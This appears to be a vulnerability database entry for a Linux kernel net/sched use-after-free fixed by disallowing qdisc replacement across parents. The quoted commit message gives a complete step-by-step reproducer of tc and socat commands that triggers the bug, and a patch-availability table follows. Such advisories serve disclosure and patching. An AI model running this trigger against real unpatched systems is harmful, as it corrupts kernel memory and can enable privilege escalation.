In the Linux kernel, the following vulnerability has been resolved:
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script
Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr
step3. a class for nesting tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr
step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7. tc class add dev lo classid 3:1 drr
step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config".
Joint work with Lion Ackermann <[email protected]>
CVSS Details
- CVSS 3.1 Base Score: 7.8
- CVSS 3.1 Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Covered by Rapid7
| Product | Vendor Advisory | Solution File | Added | Published |
|---|---|---|---|---|
| Amazon Linux Ami 2 | — | Upgrade python-perfUpgrade kernel-toolsUpgrade bpftool-debuginfoUpgrade perfUpgrade kernel-debuginfo-common-aarch64Upgrade bpftoolUpgrade kernel-debuginfoUpgrade python-perf-debuginfoUpgrade kernelUpgrade kernel-debuginfo-common-x86_64Upgrade kernel-headersUpgrade kernel-tools-develUpgrade kernel-develUpgrade kernel-tools-debuginfoUpgrade kernel-livepatch-5.10.235-227.919Upgrade perf-debuginfoUpgrade kernel-livepatch-5.15.179-121.185 | Apr 2, 2025 | Feb 13, 2025 |
| Amazon_linux_2023 | — | Upgrade kernelUpgrade kernel-tools-develUpgrade bpftoolUpgrade kernel-toolsUpgrade kernel-libbpf-staticUpgrade kernel-debuginfo-common-aarch64Upgrade kernel-modules-extra-commonUpgrade python3-perfUpgrade kernel-libbpf-develUpgrade kernel-debuginfo-common-x86_64Upgrade kernel-tools-debuginfoUpgrade kernel-headersUpgrade kernel-modules-extraUpgrade perf-debuginfoUpgrade perfUpgrade kernel-debuginfoUpgrade kernel-develUpgrade kernel-libbpfUpgrade kernel-libbpf-debuginfoUpgrade bpftool-debuginfoUpgrade kernel-livepatch-6.1.131-143.221Upgrade python3-perf-debuginfo | Apr 2, 2025 | Feb 13, 2025 |
| Debian | — | Upgrade linux-6.1Upgrade linux | Mar 17, 2025 | Feb 13, 2025 |
| Dell Powerstore Dsa2025429 | — | Upgrade Dell PowerStoreOS to the latest version | Dec 3, 2025 | Dec 2, 2025 |
| Dell Powerstore Dsa2026039 | — | Upgrade Dell PowerStoreOS to the latest version | Jan 13, 2026 | Jan 6, 2026 |
| Huawei Euleros 2_0_sp10 | — | Upgrade kernel-develUpgrade perfUpgrade kernel-tools-libs-develUpgrade kernel-toolsUpgrade bpftoolUpgrade kernel-headersUpgrade kernelUpgrade kernel-tools-libs | May 13, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp11 | — | Upgrade bpftoolUpgrade python3-perfUpgrade kernel-tools-libsUpgrade kernel-toolsUpgrade kernelUpgrade kernel-abi-stablelists | Jun 13, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp12 | — | Upgrade python3-perfUpgrade kernel-abi-stablelistsUpgrade kernelUpgrade kernel-toolsUpgrade bpftoolUpgrade kernel-tools-libs | Jun 11, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp13 | — | Upgrade python3-perfUpgrade kernel-tools-libsUpgrade bpftoolUpgrade kernel-abi-stablelistsUpgrade kernelUpgrade kernel-tools | Jul 1, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp9 | — | Upgrade python3-perfUpgrade kernel-toolsUpgrade kernelUpgrade kernel-tools-libs | Sep 15, 2025 | May 12, 2025 |
| Redhat_linux | — | No solution exists | Jul 9, 2025 | Feb 13, 2025 |
| Suse | — | Upgrade kernel-docsUpgrade kernel-default-develUpgrade kernel-docs-htmlUpgrade dtb-lgUpgrade kernel-syms-azureUpgrade kernel-rtUpgrade kernel-symsUpgrade dtb-exynosUpgrade cluster-md-kmp-defaultUpgrade dtb-qcomUpgrade kernel-syms-rtUpgrade kernel-default-extraUpgrade cluster-md-kmp-azureUpgrade kernel-azure-develUpgrade kernel-preemptUpgrade dtb-marvellUpgrade kernel-rt_debugUpgrade kernel-source-rtUpgrade kernel-azure-vdsoUpgrade kernel-rt_debug-vdsoUpgrade kernel-default-base-rebuildUpgrade kernel-devel-azureUpgrade kernel-rt-livepatch-develUpgrade kernel-rt-optionalUpgrade kernel-ec2-develUpgrade kernel-traceUpgrade gfs2-kmp-rtUpgrade dlm-kmp-azureUpgrade dtb-broadcomUpgrade kselftests-kmp-defaultUpgrade ocfs2-kmp-rtUpgrade kernel-default-manUpgrade kernel-source-azureUpgrade kernel-kvmsmall-vdsoUpgrade gfs2-kmp-64kbUpgrade kernel-obs-qaUpgrade reiserfs-kmp-64kbUpgrade dtb-apmUpgrade dtb-freescaleUpgrade kernel-macrosUpgrade dlm-kmp-defaultUpgrade dtb-rockchipUpgrade dtb-amlogicUpgrade dtb-armUpgrade dtb-socionextUpgrade kernel-sourceUpgrade dtb-amazonUpgrade kernel-zfcpdumpUpgrade kernel-64kbUpgrade kernel-ec2Upgrade kernel-kvmsmall-develUpgrade kernel-rt-vdsoUpgrade kernel-xenUpgrade kernel-kvmsmallUpgrade kselftests-kmp-64kbUpgrade dtb-caviumUpgrade kernel-rt-extraUpgrade kernel-default-baseUpgrade kernel-azure-optionalUpgrade cluster-md-kmp-rtUpgrade kernel-trace-baseUpgrade kernel-rt_debug-develUpgrade kernel-ec2-baseUpgrade kernel-azureUpgrade dtb-hisiliconUpgrade dtb-appleUpgrade kernel-debug-vdsoUpgrade kernel-devel-rtUpgrade kernel-source-vanillaUpgrade ocfs2-kmp-64kbUpgrade dtb-nvidiaUpgrade kernel-64kb-extraUpgrade reiserfs-kmp-rtUpgrade ocfs2-kmp-azureUpgrade kernel-rt-develUpgrade kernel-default-livepatch-develUpgrade kernel-default-livepatchUpgrade kernel-defaultUpgrade kernel-debugUpgrade dtb-alteraUpgrade dlm-kmp-rtUpgrade kernel-default-vdsoUpgrade kselftests-kmp-rtUpgrade gfs2-kmp-defaultUpgrade gfs2-kmp-azureUpgrade dtb-amdUpgrade reiserfs-kmp-azureUpgrade kselftests-kmp-azureUpgrade dlm-kmp-64kbUpgrade kernel-64kb-develUpgrade kernel-xen-develUpgrade kernel-xen-baseUpgrade kernel-preempt-develUpgrade kernel-obs-buildUpgrade dtb-renesasUpgrade cluster-md-kmp-64kbUpgrade reiserfs-kmp-defaultUpgrade ocfs2-kmp-defaultUpgrade dtb-allwinnerUpgrade dtb-mediatekUpgrade dtb-xilinxUpgrade kernel-develUpgrade kernel-default-optionalUpgrade kernel-debug-develUpgrade kernel-trace-develUpgrade kernel-azure-extraUpgrade kernel-64kb-optionalUpgrade dtb-sprd | Mar 12, 2025 | Feb 13, 2025 |
| Ubuntu | — | Upgrade linux-image-virtual-hwe-22.04Upgrade linux-image-generic-lpaeUpgrade linux-image-oem-20.04cUpgrade linux-image-5.15.0-1076-raspiUpgrade linux-image-oem-24.04Upgrade linux-image-gkeUpgrade linux-image-gkeop-5.15Upgrade linux-image-6.11.0-1013-gcpUpgrade linux-image-intel-iot-realtimeUpgrade linux-image-6.8.0-1026-nvidiaUpgrade linux-image-genericUpgrade linux-image-5.4.0-1049-iotUpgrade linux-image-6.11.0-1020-oemUpgrade linux-image-gcp-lts-18.04Upgrade linux-image-oem-20.04bUpgrade linux-image-oem-22.04cUpgrade linux-image-lowlatency-hwe-18.04Upgrade linux-image-azure-fde-lts-22.04Upgrade linux-image-intelUpgrade linux-image-nvidia-tegraUpgrade linux-image-5.15.0-138-lowlatency-64kUpgrade linux-image-6.8.0-1010-gkeopUpgrade linux-image-azure-lts-18.04Upgrade linux-image-4.15.0-1162-kvmUpgrade linux-image-6.8.0-1024-ibmUpgrade linux-image-virtual-hwe-24.04Upgrade linux-image-4.15.0-1187-azureUpgrade linux-image-4.15.0-236-lowlatencyUpgrade linux-image-oracle-lts-22.04Upgrade linux-image-4.15.0-236-genericUpgrade linux-image-aws-lts-18.04Upgrade linux-image-6.8.0-2023-raspi-realtimeUpgrade linux-image-bluefieldUpgrade linux-image-lowlatency-64k-hwe-22.04Upgrade linux-image-lowlatency-hwe-16.04Upgrade linux-image-5.15.0-1064-gkeopUpgrade linux-image-6.8.0-1026-nvidia-64kUpgrade linux-image-oem-osp1Upgrade linux-image-oem-22.04Upgrade linux-image-6.8.0-1028-gcpUpgrade linux-image-virtual-hwe-20.04Upgrade linux-image-5.15.0-1078-kvmUpgrade linux-image-6.11.0-1012-lowlatency-64kUpgrade linux-image-virtual-hwe-18.04Upgrade linux-image-xilinx-zynqmpUpgrade linux-image-nvidia-64k-hwe-22.04Upgrade linux-image-lowlatency-hwe-22.04Upgrade linux-image-oracle-lts-24.04Upgrade linux-image-5.15.0-138-fipsUpgrade linux-image-aws-fipsUpgrade linux-image-fipsUpgrade linux-image-oemUpgrade linux-image-snapdragon-hwe-18.04Upgrade linux-image-virtual-lts-xenialUpgrade linux-image-gcp-lts-22.04Upgrade linux-image-5.15.0-1082-awsUpgrade linux-image-gcp-64kUpgrade linux-image-5.15.0-138-generic-64kUpgrade linux-image-generic-64k-hwe-22.04Upgrade linux-image-6.8.0-1027-awsUpgrade linux-image-4.4.0-1142-awsUpgrade linux-image-5.15.0-1076-nvidiaUpgrade linux-image-nvidiaUpgrade linux-image-oem-22.04dUpgrade linux-image-azure-lts-20.04Upgrade linux-image-oracle-lts-20.04Upgrade linux-image-5.15.0-1087-azureUpgrade linux-image-6.8.0-1026-nvidia-lowlatencyUpgrade linux-image-6.11.0-24-generic-64kUpgrade linux-image-5.4.0-1142-oracleUpgrade linux-image-generic-64kUpgrade linux-image-nvidia-6.8Upgrade linux-image-gkeopUpgrade linux-image-5.4.0-1131-kvmUpgrade linux-image-6.11.0-1013-azure-fdeUpgrade linux-image-raspi-hwe-18.04Upgrade linux-image-realtimeUpgrade linux-image-lowlatency-64kUpgrade linux-image-5.4.0-1149-azure-fipsUpgrade linux-image-6.8.0-1027-azureUpgrade linux-image-5.4.0-1144-awsUpgrade linux-image-6.8.0-1026-nvidia-lowlatency-64kUpgrade linux-image-5.4.0-1103-bluefieldUpgrade linux-image-realtime-hwe-24.04Upgrade linux-image-4.15.0-2096-azure-fipsUpgrade linux-image-oracleUpgrade linux-image-5.15.0-1082-aws-fipsUpgrade linux-image-nvidia-tegra-rtUpgrade linux-image-6.8.0-1026-oemUpgrade linux-image-5.15.0-1082-realtimeUpgrade linux-image-generic-lts-xenialUpgrade linux-image-nvidia-hwe-22.04Upgrade linux-image-5.15.0-1081-gcpUpgrade linux-image-5.4.0-1147-gcpUpgrade linux-image-4.4.0-1112-fipsUpgrade linux-image-4.4.0-267-genericUpgrade linux-image-5.4.0-1144-aws-fipsUpgrade linux-image-generic-lpae-hwe-20.04Upgrade linux-image-5.4.0-214-generic-lpaeUpgrade linux-image-5.4.0-1090-ibmUpgrade linux-image-6.11.0-1008-realtimeUpgrade linux-image-6.8.0-1028-gcp-64kUpgrade linux-image-gcp-64k-lts-24.04Upgrade linux-image-virtualUpgrade linux-image-5.4.0-1062-xilinx-zynqmpUpgrade linux-image-intel-iotgUpgrade linux-image-azure-lts-22.04Upgrade linux-image-6.8.0-1024-oracleUpgrade linux-image-5.15.0-1079-gkeUpgrade linux-image-oem-20.04Upgrade linux-image-5.15.0-1046-xilinx-zynqmpUpgrade linux-image-azure-fdeUpgrade linux-image-generic-hwe-18.04Upgrade linux-image-nvidia-tegra-igxUpgrade linux-image-5.15.0-1079-oracleUpgrade linux-image-6.8.0-58-genericUpgrade linux-image-aws-lts-22.04Upgrade linux-image-gke-5.15Upgrade linux-image-6.8.0-1028-raspiUpgrade linux-image-5.15.0-1074-ibmUpgrade linux-image-oem-24.04bUpgrade linux-image-oracle-64k-lts-24.04Upgrade linux-image-oem-20.04dUpgrade linux-image-5.4.0-1129-raspiUpgrade linux-image-6.11.0-1014-oracle-64kUpgrade linux-image-5.15.0-138-genericUpgrade linux-image-awsUpgrade linux-image-4.15.0-2117-aws-fipsUpgrade linux-image-lowlatency-hwe-20.04Upgrade linux-image-6.11.0-1013-gcp-64kUpgrade linux-image-aws-lts-24.04Upgrade linux-image-gcp-lts-24.04Upgrade linux-image-6.11.0-1012-awsUpgrade linux-image-4.15.0-2080-gcp-fipsUpgrade linux-image-nvidia-lowlatencyUpgrade linux-image-6.8.0-58-lowlatencyUpgrade linux-image-azure-fde-lts-24.04Upgrade linux-image-lowlatencyUpgrade linux-image-5.15.0-1035-nvidia-tegra-rtUpgrade linux-image-5.15.0-138-generic-lpaeUpgrade linux-image-generic-64k-hwe-24.04Upgrade linux-image-5.15.0-1087-azure-fipsUpgrade linux-image-5.15.0-1087-azure-fdeUpgrade linux-image-lowlatency-64k-hwe-24.04Upgrade linux-image-5.15.0-138-lowlatencyUpgrade linux-image-5.15.0-1076-nvidia-lowlatencyUpgrade linux-image-5.15.0-1081-gcp-fipsUpgrade linux-image-aws-lts-20.04Upgrade linux-image-oem-22.04bUpgrade linux-image-6.8.0-58-lowlatency-64kUpgrade linux-image-oem-22.04aUpgrade linux-image-6.11.0-24-genericUpgrade linux-image-5.4.0-214-lowlatencyUpgrade linux-image-oracle-lts-18.04Upgrade linux-image-generic-hwe-22.04Upgrade linux-image-gcp-lts-20.04Upgrade linux-image-azureUpgrade linux-image-nvidia-64k-6.8Upgrade linux-image-4.15.0-1179-awsUpgrade linux-image-raspiUpgrade linux-image-6.11.0-1012-lowlatencyUpgrade linux-image-4.4.0-1143-kvmUpgrade linux-image-nvidia-lowlatency-64kUpgrade linux-image-6.11.0-1011-raspiUpgrade linux-image-4.15.0-1172-gcpUpgrade linux-image-virtual-hwe-16.04Upgrade linux-image-6.8.0-1023-gkeUpgrade linux-image-raspi-realtimeUpgrade linux-image-raspi2Upgrade linux-image-azure-lts-24.04Upgrade linux-image-aws-hweUpgrade linux-image-6.11.0-1014-oracleUpgrade linux-image-6.11.0-1013-azureUpgrade linux-image-4.4.0-1180-awsUpgrade linux-image-6.8.0-1014-azure-nvidiaUpgrade linux-image-generic-hwe-16.04Upgrade linux-image-4.15.0-1141-oracleUpgrade linux-image-lowlatency-64k-hwe-20.04Upgrade linux-image-kvmUpgrade linux-image-6.8.0-58-generic-64kUpgrade linux-image-6.8.0-1027-azure-fdeUpgrade linux-image-5.4.0-1147-gcp-fipsUpgrade linux-image-5.15.0-1035-nvidia-tegraUpgrade linux-image-5.15.0-1023-nvidia-tegra-igxUpgrade linux-image-4.4.0-267-lowlatencyUpgrade linux-image-nvidia-64kUpgrade linux-image-ibm-lts-20.04Upgrade linux-image-oem-24.04aUpgrade linux-image-nvidia-tegra-igx-rtUpgrade linux-image-lowlatency-hwe-24.04Upgrade linux-image-oracle-64kUpgrade linux-image-gcp-fipsUpgrade linux-image-ibmUpgrade linux-image-azure-fipsUpgrade linux-image-raspi-nolpaeUpgrade linux-image-ibm-lts-24.04Upgrade linux-image-ibm-classicUpgrade linux-image-generic-hwe-24.04Upgrade linux-image-generic-hwe-20.04Upgrade linux-image-6.8.1-1020-realtimeUpgrade linux-image-6.8.0-1024-oracle-64kUpgrade linux-image-5.15.0-1023-nvidia-tegra-igx-rtUpgrade linux-image-4.15.0-1134-fipsUpgrade linux-image-gkeop-6.8Upgrade linux-image-azure-nvidiaUpgrade linux-image-generic-64k-hwe-20.04Upgrade linux-image-5.4.0-1118-fipsUpgrade linux-image-azure-cvmUpgrade linux-image-5.15.0-1077-intel-iotgUpgrade linux-image-5.4.0-214-genericUpgrade linux-image-5.4.0-1149-azureUpgrade linux-image-5.15.0-1075-intel-iot-realtimeUpgrade linux-image-gcpUpgrade linux-image-lowlatency-lts-xenial | Apr 10, 2025 | Feb 13, 2025 |
| Vmware Photon_os | — | Use 'tdnf update' to upgrade all packages to the latest version. | Jul 2, 2025 | Feb 13, 2025 |
Prioritise with Active Threat Intelligence
With curated Threat Intelligence, you can see which vulnerabilities truly put you at risk, prioritize what matters most, and act before attackers do.
Explore Intelligence Hub